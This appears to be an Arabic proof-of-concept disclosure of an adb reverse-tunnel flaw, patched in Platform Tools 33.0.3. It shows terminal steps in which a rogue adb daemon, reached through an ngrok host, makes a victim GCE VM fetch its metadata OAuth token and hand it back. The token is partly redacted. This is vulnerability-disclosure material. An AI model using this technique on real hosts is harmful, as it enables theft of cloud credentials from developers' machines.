
كود إثبات المفهوم لاستغلال ثغرة في adb سمحت بفتح اتصالات شبكة على المضيف إلى وجهات عشوائية.
كانت ميزة النفق العكسي في أداة Android Debug Bridge (adb) عرضة للثغرات، إذ كانت تسمح لبرامج adb الخفية الخبيثة بفتح اتصالات بمضيفات/منافذ عشوائية ومقابس نطاق يونكس على المضيف.
نافذة المهاجم (حيث يعمل البرنامج الخفي المارق):
$ ./adb_rogue_daemon.py
نافذة الضحية (جهاز GCE VM في هذا المثال):
$ adb connect serverip:5556
connected to 8.tcp.ngrok.io:19076
نافذة المهاجم:
...
Wooho, we got response for our rouge request!
b'HTTP/1.0 200 OK\r\nMetadata-Flavor: Google\r\nContent-Type: application/json\r\nDate: Thu, 04 Nov 2021 22:31:21 GMT\r\nServer: Metadata Server for VM\r\nConnection: Close\r\nContent-Length: 1049\r\nX-XSS-Protection: 0\r\nX-Frame-Options: SAMEORIGIN\r\n\r\n{"access_token":"ya29.c.KpgBFghLV[redacted].....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................'
<<< b'...................................................................................................................................................................................................................................................","expires_in":2394,"token_type":"Bearer"}CLSE\x08\x00\x00\x00\xd2\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xb3\xac\xba'
b'...................................................................................................................................................................................................................................................","expires_in":2394,"token_type":"Bearer"}CLSE\x08\x00\x00\x00\xd2\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xb3\xac\xba'
('....', (774778414, 774778414, 774778414, 774778414, 774778414), b'...........................................................................................................................................................................................................................","expires_in":2394,"token_type":"Bearer"}CLSE\x08\x00\x00\x00\xd2\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xb3\xac\xba')
تم إصلاح هذه الثغرة في Platform Tools 33.0.3.